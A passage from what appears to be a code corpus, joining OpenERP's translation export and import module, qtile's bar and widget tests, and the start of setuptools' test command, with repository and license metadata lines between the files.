tnrs: self.buffer.write("#: %s:%s:%s\n" % (typy, name, res_id)) if typy == 'code': code = True if code: # only strings in python code are python formated self.buffer.write("#, python-format\n") if not isinstance(trad, unicode): trad = unicode(trad, 'utf8') if not isinstance(source, unicode): source = unicode(source, 'utf8') msg = "msgid %s\n" \ "msgstr %s\n\n" \ % (quote(source), quote(trad)) self.buffer.write(msg.encode('utf8')) # Methods to export the translation file def trans_export(lang, modules, buffer, format, cr): def _process(format, modules, rows, buffer, lang): if format == 'csv': writer = csv.writer(buffer, 'UNIX') # write header first writer.writerow(("module","type","name","res_id","src","value")) for module, type, name, res_id, src, trad, comments in rows: # Comments are ignored by the CSV writer writer.writerow((module, type, name, res_id, src, trad)) elif format == 'po': writer = TinyPoFile(buffer) writer.write_infos(modules) # we now group the translations by source. That means one translation per source. grouped_rows = {} for module, type, name, res_id, src, trad, comments in rows: row = grouped_rows.setdefault(src, {}) row.setdefault('modules', set()).add(module) if not row.get('translation') and trad != src: row['translation'] = trad row.setdefault('tnrs', []).append((type, name, res_id)) row.setdefault('comments', set()).update(comments) for src, row in sorted(grouped_rows.items()): if not lang: # translation template, so no translation value row['translation'] = '' elif not row.get('translation'): row['translation'] = src writer.write(row['modules'], row['tnrs'], src, row['translation'], row['comments']) elif format == 'tgz': rows_by_module = {} for row in rows: module = row[0] rows_by_module.setdefault(module, []).append(row) tmpdir = tempfile.mkdtemp() for mod, modrows in rows_by_module.items(): tmpmoddir = join(tmpdir, mod, 'i18n') os.makedirs(tmpmoddir) pofilename = (lang if lang else mod) + ".po" + ('t' if not lang else '') buf = file(join(tmpmoddir, pofilename), 'w') _process('po', [mod], modrows, buf, lang) buf.close() tar = tarfile.open(fileobj=buffer, mode='w|gz') tar.add(tmpdir, '') tar.close() else: raise Exception(_('Unrecognized extension: must be one of ' '.csv, .po, or .tgz (received .%s).' % format)) translations = trans_generate(lang, modules, cr) modules = set(t[0] for t in translations) _process(format, modules, translations, buffer, lang) del translations def trans_parse_xsl(de): return list(set(trans_parse_xsl_aux(de, False))) def trans_parse_xsl_aux(de, t): res = [] for n in de: t = t or n.get("t") if t: if isinstance(n, SKIPPED_ELEMENT_TYPES) or n.tag.startswith('{http://www.w3.org/1999/XSL/Transform}'): continue if n.text: l = n.text.strip().replace('\n',' ') if len(l): res.append(l.encode("utf8")) if n.tail: l = n.tail.strip().replace('\n',' ') if len(l): res.append(l.encode("utf8")) res.extend(trans_parse_xsl_aux(n, t)) return res def trans_parse_rml(de): res = [] for n in de: for m in n: if isinstance(m, SKIPPED_ELEMENT_TYPES) or not m.text: continue string_list = [s.replace('\n', ' ').strip() for s in re.split('\[\[.+?\]\]', m.text)] for s in string_list: if s: res.append(s.encode("utf8")) res.extend(trans_parse_rml(n)) return res def _push(callback, term, source_line): """ Sanity check before pushing translation terms """ term = (term or "").strip().encode('utf8') # Avoid non-char tokens like ':' '...' '.00' etc. if len(term) > 8 or any(x.isalpha() for x in term): callback(term, source_line) def trans_parse_view(element, callback): """ Helper method to recursively walk an etree document representing a regular view and call ``callback(term)`` for each translatable term that is found in the document. :param ElementTree element: root of etree document to extract terms from :param callable callback: a callable in the form ``f(term, source_line)``, that will be called for each extracted term. """ for el in element.iter(): if (not isinstance(el, SKIPPED_ELEMENT_TYPES) and el.tag.lower() not in SKIPPED_ELEMENTS and el.get("translation", '').strip() != "off" and el.text): _push(callback, el.text, el.sourceline) if el.tail: _push(callback, el.tail, el.sourceline) for attr in ('string', 'help', 'sum', 'confirm', 'placeholder'): value = el.get(attr) if value: _push(callback, value, el.sourceline) # tests whether an object is in a list of modules def in_modules(object_name, modules): if 'all' in modules: return True module_dict = { 'ir': 'base', 'res': 'base', 'workflow': 'base', } module = object_name.split('.')[0] module = module_dict.get(module, module) return module in modules def _extract_translatable_qweb_terms(element, callback): """ Helper method to walk an etree document representing a QWeb template, and call ``callback(term)`` for each translatable term that is found in the document. :param etree._Element element: root of etree document to extract terms from :param Callable callback: a callable in the form ``f(term, source_line)``, that will be called for each extracted term. """ # not using elementTree.iterparse because we need to skip sub-trees in case # the ancestor element had a reason to be skipped for el in element: if isinstance(el, SKIPPED_ELEMENT_TYPES): continue if (el.tag.lower() not in SKIPPED_ELEMENTS and "t-js" not in el.attrib and not ("t-jquery" in el.attrib and "t-operation" not in el.attrib) and el.get("t-translation", '').strip() != "off"): _push(callback, el.text, el.sourceline) for att in ('title', 'alt', 'label', 'placeholder'): if att in el.attrib: _push(callback, el.attrib[att], el.sourceline) _extract_translatable_qweb_terms(el, callback) _push(callback, el.tail, el.sourceline) def babel_extract_qweb(fileobj, keywords, comment_tags, options): """Babel message extractor for qweb template files. :param fileobj: the file-like object the messages should be extracted from :param keywords: a list of keywords (i.e. function names) that should be recognized as translation functions :param comment_tags: a list of translator tags to search for and include in the results :param options: a dictionary of additional options (optional) :return: an iterator over ``(lineno, funcname, message, comments)`` tuples :rtype: Iterable """ result = [] def handle_text(text, lineno): result.append((lineno, None, text, [])) tree = etree.parse(fileobj) _extract_translatable_qweb_terms(tree.getroot(), handle_text) return result def trans_generate(lang, modules, cr): dbname = cr.dbname registry = openerp.registry(dbname) trans_obj = registry['ir.translation'] model_data_obj = registry['ir.model.data'] uid = 1 query = 'SELECT name, model, res_id, module' \ ' FROM ir_model_data' query_models = """SELECT m.id, m.model, imd.module FROM ir_model AS m, ir_model_data AS imd WHERE m.id = imd.res_id AND imd.model = 'ir.model' """ if 'all_installed' in modules: query += ' WHERE module IN ( SELECT name FROM ir_module_module WHERE state = \'installed\') ' query_models += " AND imd.module in ( SELECT name FROM ir_module_module WHERE state = 'installed') " query_param = None if 'all' not in modules: query += ' WHERE module IN %s' query_models += ' AND imd.module in %s' query_param = (tuple(modules),) query += ' ORDER BY module, model, name' query_models += ' ORDER BY module, model' cr.execute(query, query_param) _to_translate = set() def push_translation(module, type, name, id, source, comments=None): # empty and one-letter terms are ignored, they probably are not meant to be # translated, and would be very hard to translate anyway. if not source or len(source.strip()) <= 1: return tnx = (module, source, name, id, type, tuple(comments or ())) _to_translate.add(tnx) def encode(s): if isinstance(s, unicode): return s.encode('utf8') return s def push(mod, type, name, res_id, term): term = (term or '').strip() if len(term) > 2 or term in ENGLISH_SMALL_WORDS: push_translation(mod, type, name, res_id, term) def get_root_view(xml_id): view = model_data_obj.xmlid_to_object(cr, uid, xml_id) if view: while view.mode != 'primary': view = view.inherit_id xml_id = view.get_external_id(cr, uid).get(view.id, xml_id) return xml_id for (xml_name,model,res_id,module) in cr.fetchall(): module = encode(module) model = encode(model) xml_name = "%s.%s" % (module, encode(xml_name)) if model not in registry: _logger.error("Unable to find object %r", model) continue Model = registry[model] if not Model._translate: # explicitly disabled continue obj = Model.browse(cr, uid, res_id) if not obj.exists(): _logger.warning("Unable to find object %r with id %d", model, res_id) continue if model=='ir.ui.view': d = etree.XML(encode(obj.arch)) if obj.type == 'qweb': view_id = get_root_view(xml_name) push_qweb = lambda t,l: push(module, 'view', 'website', view_id, t) _extract_translatable_qweb_terms(d, push_qweb) else: push_view = lambda t,l: push(module, 'view', obj.model, xml_name, t) trans_parse_view(d, push_view) elif model=='ir.actions.wizard': pass # TODO Can model really be 'ir.actions.wizard' ? elif model=='ir.model.fields': try: field_name = encode(obj.name) except AttributeError, exc: _logger.error("name error in %s: %s", xml_name, str(exc)) continue objmodel = registry.get(obj.model) if (objmodel is None or field_name not in objmodel._columns or not objmodel._translate): continue field_def = objmodel._columns[field_name] name = "%s,%s" % (encode(obj.model), field_name) push_translation(module, 'field', name, 0, encode(field_def.string)) if field_def.help: push_translation(module, 'help', name, 0, encode(field_def.help)) if field_def.translate: ids = objmodel.search(cr, uid, []) obj_values = objmodel.read(cr, uid, ids, [field_name]) for obj_value in obj_values: res_id = obj_value['id'] if obj.name in ('ir.model', 'ir.ui.menu'): res_id = 0 model_data_ids = model_data_obj.search(cr, uid, [ ('model', '=', model), ('res_id', '=', res_id), ]) if not model_data_ids: push_translation(module, 'model', name, 0, encode(obj_value[field_name])) if hasattr(field_def, 'selection') and isinstance(field_def.selection, (list, tuple)): for dummy, val in field_def.selection: push_translation(module, 'selection', name, 0, encode(val)) elif model=='ir.actions.report.xml': name = encode(obj.report_name) fname = "" if obj.report_rml: fname = obj.report_rml parse_func = trans_parse_rml report_type = "report" elif obj.report_xsl: fname = obj.report_xsl parse_func = trans_parse_xsl report_type = "xsl" if fname and obj.report_type in ('pdf', 'xsl'): try: report_file = misc.file_open(fname) try: d = etree.parse(report_file) for t in parse_func(d.iter()): push_translation(module, report_type, name, 0, t) finally: report_file.close() except (IOError, etree.XMLSyntaxError): _logger.exception("couldn't export translation for report %s %s %s", name, report_type, fname) for field_name, field_def in obj._columns.items(): if model == 'ir.model' and field_name == 'name' and obj.name == obj.model: # ignore model name if it is the technical one, nothing to translate continue if field_def.translate: name = model + "," + field_name try: term = obj[field_name] or '' except: term = '' push_translation(module, 'model', name, xml_name, encode(term)) # End of data for ir.model.data query results cr.execute(query_models, query_param) def push_constraint_msg(module, term_type, model, msg): if not hasattr(msg, '__call__'): push_translation(encode(module), term_type, encode(model), 0, encode(msg)) def push_local_constraints(module, model, cons_type='sql_constraints'): """Climb up the class hierarchy and ignore inherited constraints from other modules""" term_type = 'sql_constraint' if cons_type == 'sql_constraints' else 'constraint' msg_pos = 2 if cons_type == 'sql_constraints' else 1 for cls in model.__class__.__mro__: if getattr(cls, '_module', None) != module: continue constraints = getattr(cls, '_local_' + cons_type, []) for constraint in constraints: push_constraint_msg(module, term_type, model._name, constraint[msg_pos]) for (_, model, module) in cr.fetchall(): if model not in registry: _logger.error("Unable to find object %r", model) continue model_obj = registry[model] if model_obj._constraints: push_local_constraints(module, model_obj, 'constraints') if model_obj._sql_constraints: push_local_constraints(module, model_obj, 'sql_constraints') installed_modules = map( lambda m: m['name'], registry['ir.module.module'].search_read(cr, uid, [('state', '=', 'installed')], fields=['name'])) path_list = list(openerp.modules.module.ad_paths) # Also scan these non-addon paths for bin_path in ['osv', 'report' ]: path_list.append(os.path.join(config.config['root_path'], bin_path)) _logger.debug("Scanning modules at paths: %s", path_list) def get_module_from_path(path): for mp in path_list: if path.startswith(mp) and os.path.dirname(path) != mp: path = path[len(mp)+1:] return path.split(os.path.sep)[0] return 'base' # files that are not in a module are considered as being in 'base' module def verified_module_filepaths(fname, path, root): fabsolutepath = join(root, fname) frelativepath = fabsolutepath[len(path):] display_path = "addons%s" % frelativepath module = get_module_from_path(fabsolutepath) if ('all' in modules or module in modules) and module in installed_modules: if os.path.sep != '/': display_path = display_path.replace(os.path.sep, '/') return module, fabsolutepath, frelativepath, display_path return None, None, None, None def babel_extract_terms(fname, path, root, extract_method="python", trans_type='code', extra_comments=None, extract_keywords={'_': None}): module, fabsolutepath, _, display_path = verified_module_filepaths(fname, path, root) extra_comments = extra_comments or [] if not module: return src_file = open(fabsolutepath, 'r') try: for extracted in extract.extract(extract_method, src_file, keywords=extract_keywords): # Babel 0.9.6 yields lineno, message, comments # Babel 1.3 yields lineno, message, comments, context lineno, message, comments = extracted[:3] push_translation(module, trans_type, display_path, lineno, encode(message), comments + extra_comments) except Exception: _logger.exception("Failed to extract terms from %s", fabsolutepath) finally: src_file.close() for path in path_list: _logger.debug("Scanning files of modules at %s", path) for root, dummy, files in osutil.walksymlinks(path): for fname in fnmatch.filter(files, '*.py'): babel_extract_terms(fname, path, root) # mako provides a babel extractor: http://docs.makotemplates.org/en/latest/usage.html#babel for fname in fnmatch.filter(files, '*.mako'): babel_extract_terms(fname, path, root, 'mako', trans_type='report') # Javascript source files in the static/src/js directory, rest is ignored (libs) if fnmatch.fnmatch(root, '*/static/src/js*'): for fname in fnmatch.filter(files, '*.js'): babel_extract_terms(fname, path, root, 'javascript', extra_comments=[WEB_TRANSLATION_COMMENT], extract_keywords={'_t': None, '_lt': None}) # QWeb template files if fnmatch.fnmatch(root, '*/static/src/xml*'): for fname in fnmatch.filter(files, '*.xml'): babel_extract_terms(fname, path, root, 'openerp.tools.translate:babel_extract_qweb', extra_comments=[WEB_TRANSLATION_COMMENT]) out = [] # translate strings marked as to be translated for module, source, name, id, type, comments in sorted(_to_translate): trans = '' if not lang else trans_obj._get_source(cr, uid, name, type, lang, source) out.append((module, type, name, id, source, encode(trans) or '', comments)) return out def trans_load(cr, filename, lang, verbose=True, module_name=None, context=None): try: fileobj = misc.file_open(filename) _logger.info("loading %s", filename) fileformat = os.path.splitext(filename)[-1][1:].lower() result = trans_load_data(cr, fileobj, fileformat, lang, verbose=verbose, module_name=module_name, context=context) fileobj.close() return result except IOError: if verbose: _logger.error("couldn't read translation file %s", filename) return None def trans_load_data(cr, fileobj, fileformat, lang, lang_name=None, verbose=True, module_name=None, context=None): """Populates the ir_translation table.""" if verbose: _logger.info('loading translation file for language %s', lang) if context is None: context = {} db_name = cr.dbname registry = openerp.registry(db_name) lang_obj = registry.get('res.lang') trans_obj = registry.get('ir.translation') iso_lang = misc.get_iso_codes(lang) try: ids = lang_obj.search(cr, SUPERUSER_ID, [('code','=', lang)]) if not ids: # lets create the language with locale information lang_obj.load_lang(cr, SUPERUSER_ID, lang=lang, lang_name=lang_name) # Parse also the POT: it will possibly provide additional targets. # (Because the POT comments are correct on Launchpad but not the # PO comments due to a Launchpad limitation. See LP bug 933496.) pot_reader = [] # now, the serious things: we read the language file fileobj.seek(0) if fileformat == 'csv': reader = csv.reader(fileobj, quotechar='"', delimiter=',') # read the first line of the file (it contains columns titles) for row in reader: fields = row break elif fileformat == 'po': reader = TinyPoFile(fileobj) fields = ['type', 'name', 'res_id', 'src', 'value', 'comments'] # Make a reader for the POT file and be somewhat defensive for the # stable branch. if fileobj.name.endswith('.po'): try: # Normally the path looks like /path/to/xxx/i18n/lang.po # and we try to find the corresponding # /path/to/xxx/i18n/xxx.pot file. # (Sometimes we have 'i18n_extra' instead of just 'i18n') addons_module_i18n, _ = os.path.split(fileobj.name) addons_module, i18n_dir = os.path.split(addons_module_i18n) addons, module = os.path.split(addons_module) pot_handle = misc.file_open(os.path.join( addons, module, i18n_dir, module + '.pot')) pot_reader = TinyPoFile(pot_handle) except: pass else: _logger.error('Bad file format: %s', fileformat) raise Exception(_('Bad file format')) # Read the POT references, and keep them indexed by source string. class Target(object): def __init__(self): self.value = None self.targets = set() # set of (type, name, res_id) self.comments = None pot_targets = defaultdict(Target) for type, name, res_id, src, _, comments in pot_reader: if type is not None: target = pot_targets[src] target.targets.add((type, name, res_id)) target.comments = comments # read the rest of the file irt_cursor = trans_obj._get_import_cursor(cr, SUPERUSER_ID, context=context) def process_row(row): """Process a single PO (or POT) entry.""" # dictionary which holds values for this line of the csv file # {'lang': ..., 'type': ..., 'name': ..., 'res_id': ..., # 'src': ..., 'value': ..., 'module':...} dic = dict.fromkeys(('type', 'name', 'res_id', 'src', 'value', 'comments', 'imd_model', 'imd_name', 'module')) dic['lang'] = lang dic.update(zip(fields, row)) # discard the target from the POT targets. src = dic['src'] if src in pot_targets: target = pot_targets[src] target.value = dic['value'] target.targets.discard((dic['type'], dic['name'], dic['res_id'])) # This would skip terms that fail to specify a res_id res_id = dic['res_id'] if not res_id: return if isinstance(res_id, (int, long)) or \ (isinstance(res_id, basestring) and res_id.isdigit()): dic['res_id'] = int(res_id) dic['module'] = module_name else: # res_id is an xml id dic['res_id'] = None dic['imd_model'] = dic['name'].split(',')[0] if '.' in res_id: dic['module'], dic['imd_name'] = res_id.split('.', 1) else: dic['module'], dic['imd_name'] = False, res_id irt_cursor.push(dic) # First process the entries from the PO file (doing so also fills/removes # the entries from the POT file). for row in reader: process_row(row) # Then process the entries implied by the POT file (which is more # correct w.r.t. the targets) if some of them remain. pot_rows = [] for src, target in pot_targets.iteritems(): if target.value: for type, name, res_id in target.targets: pot_rows.append((type, name, res_id, src, target.value, target.comments)) pot_targets.clear() for row in pot_rows: process_row(row) irt_cursor.finish() trans_obj.clear_caches() if verbose: _logger.info("translation file loaded succesfully") except IOError: filename = '[lang: %s][format: %s]' % (iso_lang or 'new', fileformat) _logger.exception("couldn't read translation file %s", filename) def get_locales(lang=None): if lang is None: lang = locale.getdefaultlocale()[0] if os.name == 'nt': lang = _LOCALE2WIN32.get(lang, lang) def process(enc): ln = locale._build_localename((lang, enc)) yield ln nln = locale.normalize(ln) if nln != ln: yield nln for x in process('utf8'): yield x prefenc = locale.getpreferredencoding() if prefenc: for x in process(prefenc): yield x prefenc = { 'latin1': 'latin9', 'iso-8859-1': 'iso8859-15', 'cp1252': '1252', }.get(prefenc.lower()) if prefenc: for x in process(prefenc): yield x yield lang def resetlocale(): # locale.resetlocale is bugged with some locales. for ln in get_locales(): try: return locale.setlocale(locale.LC_ALL, ln) except locale.Error: continue def load_language(cr, lang): """Loads a translation terms for a language. Used mainly to automate language loading at db initialization. :param lang: language ISO code with optional _underscore_ and l10n flavor (ex: 'fr', 'fr_BE', but not 'fr-BE') :type lang: str """ registry = openerp.registry(cr.dbname) language_installer = registry['base.language.install'] oid = language_installer.create(cr, SUPERUSER_ID, {'lang': lang}) language_installer.lang_install(cr, SUPERUSER_ID, [oid], context=None) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
aniruddhkanojia/qtile
test/test_bar.py
14
11959
# Copyright (c) 2011 Florian Mounier # Copyright (c) 2012-2013 Craig Barnes # Copyright (c) 2012 roger # Copyright (c) 2012, 2014-2015 Tycho Andersen # Copyright (c) 2014 Sean Vig # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import time import six import libqtile.layout import libqtile.bar import libqtile.widget import libqtile.manager import libqtile.config import libqtile.confreader from .utils import Xephyr class GBConfig: auto_fullscreen = True keys = [] mouse = [] groups = [ libqtile.config.Group("a"), libqtile.config.Group("bb"), libqtile.config.Group("ccc"), libqtile.config.Group("dddd"), libqtile.config.Group("Pppy") ] layouts = [libqtile.layout.stack.Stack(num_stacks=1)] floating_layout = libqtile.layout.floating.Floating() screens = [ libqtile.config.Screen( top=libqtile.bar.Bar( [ libqtile.widget.CPUGraph( width=libqtile.bar.STRETCH, type="linefill", border_width=20, margin_x=1, margin_y=1 ), libqtile.widget.MemoryGraph(type="line"), libqtile.widget.SwapGraph(type="box"), libqtile.widget.TextBox(name="text", background="333333"), ], 50, ), bottom=libqtile.bar.Bar( [ libqtile.widget.GroupBox(), libqtile.widget.AGroupBox(), libqtile.widget.Prompt(), libqtile.widget.WindowName(), libqtile.widget.Sep(), libqtile.widget.Clock(), ], 50 ), # TODO: Add vertical bars and test widgets that support them ) ] main = None def test_completion(): c = libqtile.widget.prompt.CommandCompleter(None, True) c.reset() c.lookup = [ ("a", "x/a"), ("aa", "x/aa"), ] assert c.complete("a") == "a" assert c.actual() == "x/a" assert c.complete("a") == "aa" assert c.complete("a") == "a" c = libqtile.widget.prompt.CommandCompleter(None) r = c.complete("l") assert c.actual().endswith(r) c.reset() assert c.complete("/bi") == "/bin/" c.reset() assert c.complete("/bin") != "/bin/" c.reset() assert c.complete("~") != "~" c.reset() s = "thisisatotallynonexistantpathforsure" assert c.complete(s) == s assert c.actual() == s @Xephyr(True, GBConfig()) def test_draw(self): self.testWindow("one") b = self.c.bar["bottom"].info() assert b["widgets"][0]["name"] == "groupbox" @Xephyr(True, GBConfig()) def test_prompt(self): assert self.c.widget["prompt"].info()["width"] == 0 self.c.spawncmd(":") self.c.widget["prompt"].fake_keypress("a") self.c.widget["prompt"].fake_keypress("Tab") self.c.spawncmd(":") self.c.widget["prompt"].fake_keypress("slash") self.c.widget["prompt"].fake_keypress("Tab") @Xephyr(True, GBConfig()) def test_event(self): self.c.group["bb"].toscreen() @Xephyr(True, GBConfig()) def test_textbox(self): assert "text" in self.c.list_widgets() s = "some text" self.c.widget["text"].update(s) assert self.c.widget["text"].get() == s s = "Aye, much longer string than the initial one" self.c.widget["text"].update(s) assert self.c.widget["text"].get() == s self.c.group["Pppy"].toscreen() self.c.widget["text"].set_font(fontsize=12) time.sleep(3) @Xephyr(True, GBConfig()) def test_textbox_errors(self): self.c.widget["text"].update(None) self.c.widget["text"].update("".join(chr(i) for i in range(255))) self.c.widget["text"].update("V\xE2r\xE2na\xE7\xEE") self.c.widget["text"].update(six.u("\ua000")) @Xephyr(True, GBConfig()) def test_groupbox_button_press(self): self.c.group["ccc"].toscreen() assert self.c.groups()["a"]["screen"] == None self.c.bar["bottom"].fake_button_press(0, "bottom", 10, 10, 1) assert self.c.groups()["a"]["screen"] == 0 class GeomConf: auto_fullscreen = False main = None keys = [] mouse = [] groups = [ libqtile.config.Group("a"), libqtile.config.Group("b"), libqtile.config.Group("c"), libqtile.config.Group("d") ] layouts = [libqtile.layout.stack.Stack(num_stacks=1)] floating_layout = libqtile.layout.floating.Floating() screens = [ libqtile.config.Screen( top=libqtile.bar.Bar([], 10), bottom=libqtile.bar.Bar([], 10), left=libqtile.bar.Bar([], 10), right=libqtile.bar.Bar([], 10), ) ] class DBarH(libqtile.bar.Bar): def __init__(self, widgets, size): libqtile.bar.Bar.__init__(self, widgets, size) self.horizontal = True class DBarV(libqtile.bar.Bar): def __init__(self, widgets, size): libqtile.bar.Bar.__init__(self, widgets, size) self.horizontal = False class DWidget: def __init__(self, length, length_type): self.length, self.length_type = length, length_type @Xephyr(True, GeomConf()) def test_geometry(self): self.testXeyes() g = self.c.screens()[0]["gaps"] assert g["top"] == (0, 0, 800, 10) assert g["bottom"] == (0, 590, 800, 10) assert g["left"] == (0, 10, 10, 580) assert g["right"] == (790, 10, 10, 580) assert len(self.c.windows()) == 1 geom = self.c.windows()[0] assert geom["x"] == 10 assert geom["y"] == 10 assert geom["width"] == 778 assert geom["height"] == 578 internal = self.c.internal_windows() assert len(internal) == 4 wid = self.c.bar["bottom"].info()["window"] assert self.c.window[wid].inspect() @Xephyr(True, GeomConf()) def test_resize(self): def wd(l): return [i.length for i in l] def offx(l): return [i.offsetx for i in l] def offy(l): return [i.offsety for i in l] for DBar, off in ((DBarH, offx), (DBarV, offy)): b = DBar([], 100) l = [ DWidget(10, libqtile.bar.CALCULATED), DWidget(None, libqtile.bar.STRETCH), DWidget(None, libqtile.bar.STRETCH), DWidget(10, libqtile.bar.CALCULATED), ] b._resize(100, l) assert wd(l) == [10, 40, 40, 10] assert off(l) == [0, 10, 50, 90] b._resize(101, l) assert wd(l) == [10, 40, 41, 10] assert off(l) == [0, 10, 50, 91] l = [ DWidget(10, libqtile.bar.CALCULATED) ] b._resize(100, l) assert wd(l) == [10] assert off(l) == [0] l = [ DWidget(10, libqtile.bar.CALCULATED), DWidget(None, libqtile.bar.STRETCH) ] b._resize(100, l) assert wd(l) == [10, 90] assert off(l) == [0, 10] l = [ DWidget(None, libqtile.bar.STRETCH), DWidget(10, libqtile.bar.CALCULATED), ] b._resize(100, l) assert wd(l) == [90, 10] assert off(l) == [0, 90] l = [ DWidget(10, libqtile.bar.CALCULATED), DWidget(None, libqtile.bar.STRETCH), DWidget(10, libqtile.bar.CALCULATED), ] b._resize(100, l) assert wd(l) == [10, 80, 10] assert off(l) == [0, 10, 90] class TestWidget(libqtile.widget.base._Widget): orientations = libqtile.widget.base.ORIENTATION_HORIZONTAL def __init__(self): libqtile.widget.base._Widget.__init__(self, 10) def draw(self): pass class IncompatibleWidgetConf: main = None keys = [] mouse = [] groups = [libqtile.config.Group("a")] layouts = [libqtile.layout.stack.Stack(num_stacks=1)] floating_layout = libqtile.layout.floating.Floating() screens = [ libqtile.config.Screen( left=libqtile.bar.Bar( [ # This widget doesn't support vertical orientation TestWidget(), ], 10 ), ) ] @Xephyr(True, IncompatibleWidgetConf(), False) def test_incompatible_widget(self): # Ensure that adding a widget that doesn't support the orientation of the # bar raises ConfigError self.qtileRaises(libqtile.confreader.ConfigError, IncompatibleWidgetConf()) class MultiStretchConf: main = None keys = [] mouse = [] groups = [libqtile.config.Group("a")] layouts = [libqtile.layout.stack.Stack(num_stacks=1)] floating_layout = libqtile.layout.floating.Floating() screens = [ libqtile.config.Screen( top=libqtile.bar.Bar( [ libqtile.widget.Spacer(libqtile.bar.STRETCH), libqtile.widget.Spacer(libqtile.bar.STRETCH), ], 10 ), ) ] @Xephyr(True, MultiStretchConf(), False) def test_multiple_stretches(self): # Ensure that adding two STRETCH widgets to the same bar raises ConfigError self.qtileRaises(libqtile.confreader.ConfigError, MultiStretchConf()) @Xephyr(True, GeomConf(), False) def test_basic(self): self.config.screens = [ libqtile.config.Screen( bottom=libqtile.bar.Bar( [ TestWidget(), libqtile.widget.Spacer(libqtile.bar.STRETCH), TestWidget() ], 10 ) ) ] self.startQtile(self.config) i = self.c.bar["bottom"].info() assert i["widgets"][0]["offset"] == 0 assert i["widgets"][1]["offset"] == 10 assert i["widgets"][1]["width"] == 780 assert i["widgets"][2]["offset"] == 790 libqtile.hook.clear() self.stopQtile() @Xephyr(True, GeomConf(), False) def test_singlespacer(self): self.config.screens = [ libqtile.config.Screen( bottom=libqtile.bar.Bar( [ libqtile.widget.Spacer(libqtile.bar.STRETCH), ], 10 ) ) ] self.startQtile(self.config) i = self.c.bar["bottom"].info() assert i["widgets"][0]["offset"] == 0 assert i["widgets"][0]["width"] == 800 libqtile.hook.clear() self.stopQtile() @Xephyr(True, GeomConf(), False) def test_nospacer(self): self.config.screens = [ libqtile.config.Screen( bottom=libqtile.bar.Bar( [ TestWidget(), TestWidget() ], 10 ) ) ] self.startQtile(self.config) i = self.c.bar["bottom"].info() assert i["widgets"][0]["offset"] == 0 assert i["widgets"][1]["offset"] == 10 libqtile.hook.clear() self.stopQtile()
mit
vebin/Wox
PythonHome/Lib/site-packages/setuptools/command/test.py
55
6481
from distutils.errors import DistutilsOptionError from unittest import TestLoader import unittest import sys from pkg_resources import (resource_listdir, resource_exists, normalize_path, working_set, _namespace_packages, add_activation_listener, require, EntryPoint) from setuptools import Command from setuptools.compat import PY3 from setuptools.py31compat import unittest_main class ScanningLoader(TestLoader): def loadTestsFromModule(self, module): """Return a suite of all tests cases contained in the given module If the module is a package, load tests from all the modules in it. If the module has an ``additional_tests`` function, call it and add the return value to the tests. """ tests = [] tests.append(TestLoader.loadTestsFromModule(self, module)) if hasattr(module, "additional_tests"): tests.append(module.additional_tests()) if hasattr(module, '__path__'): for file in resource_listdir(module.__name__, ''): if file.endswith('.py') and file != '__init__.py': submodule = module.__name__ + '.' + file[:-3] else: if resource_exists(module.__name__, file + '/__init__.py'): submodule = module.__name__ + '.' + file else: continue tests.append(self.loadTestsFromName(submodule)) if len(tests) != 1: return self.suiteClass(tests) else: return tests[0] # don't create a nested suite for only one return class test(Command): """Command to run unit tests after in-place build""" description = "run unit tests after in-place build" user_options = [ ('test-module=', 'm', "Run 'test_suite' in specified module"), ('test-suite=', 's', "Test suite to run (e.g. 'some_module.test_suite')"), ('test-runner=', 'r', "Test runner to use"), ] def initialize_options(self): self.test_suite = None self.test_module = None self.test_loader = None self.test_runner = None def finalize_options(self): if self.test_suite is None: if self.test_module is None: self.test_suite = self.distribution.test_suite else: self.test_suite = self.test_module + ".test_suite" elif self.test_module: raise DistutilsOptionError( "You may specify a module or a suite, but not both" ) self.test_args = [self.test_suite] if self.verbose: self.test_args.insert(0, '--verbose') if self.test_loader is None: self.test_loader = getattr(self.distribution, 'test_loader', None) if self.test_loader is None: self.test_loader = "setuptools.command.test:ScanningLoader" if self.test_runner is None: self.test_runner = getattr(self.distribution, 'test_runner', None) def with_project_on_sys_path(self, func): with_2to3 = PY3 and getattr(self.distribution, 'use_2to3', False) if with_2to3: # If we run 2to3 we can not do this inplace: # Ensure metadata is up-to-date self.reinitialize_command('build_py', inplace=0) self.run_command('build_py') bpy_cmd = self.get_finalized_command("build_py") build_path = normalize_path(bpy_cmd.build_lib) # Build extensions self.reinitialize_command('egg_info', egg_base=build_path) self.run_command('egg_info') self.reinitialize_command('build_ext', inplace=0) self.run_command('build_ext') else: # Without 2to3 inplace works fine: self.run_command('egg_info') # Build extensions in-place self.reinitialize_command('build_ext', inplace=1) self.run_command('build_ext') ei_cmd = self.get_finalized_command("egg_info") old_path = sys.path[:] old_modules = sys.modules.copy() try: sys.path.insert(0, normalize_path(ei_cmd.egg_base)) working_set.__init__() add_activation_listener(lambda dist: dist.activate()) require('%s==%s' % (ei_cmd.egg_name, ei_cmd.egg_version)) func() finally: sys.path[:] = old_path sys.modules.clear() sys.modules.update(old_modules) working_set.__init__() def run(self): if self.distribution.install_requires: self.distribution.fetch_build_eggs( self.distribution.install_requires) if self.distribution.tests_require: self.distribution.fetch_build_eggs(self.distribution.tests_require) if self.test_suite: cmd = ' '.join(self.test_args) if self.dry_run: self.announce('skipping "unittest %s" (dry run)' % cmd) else: self.announce('running "unittest %s"' % cmd) self.with_project_on_sys_path(self.run_tests) def run_tests(self): # Purge modules under test from sys.modules. The test loader will # re-import them from the build location. Required when 2to3 is used # with namespace packages. if PY3 and getattr(self.distribution, 'use_2to3', 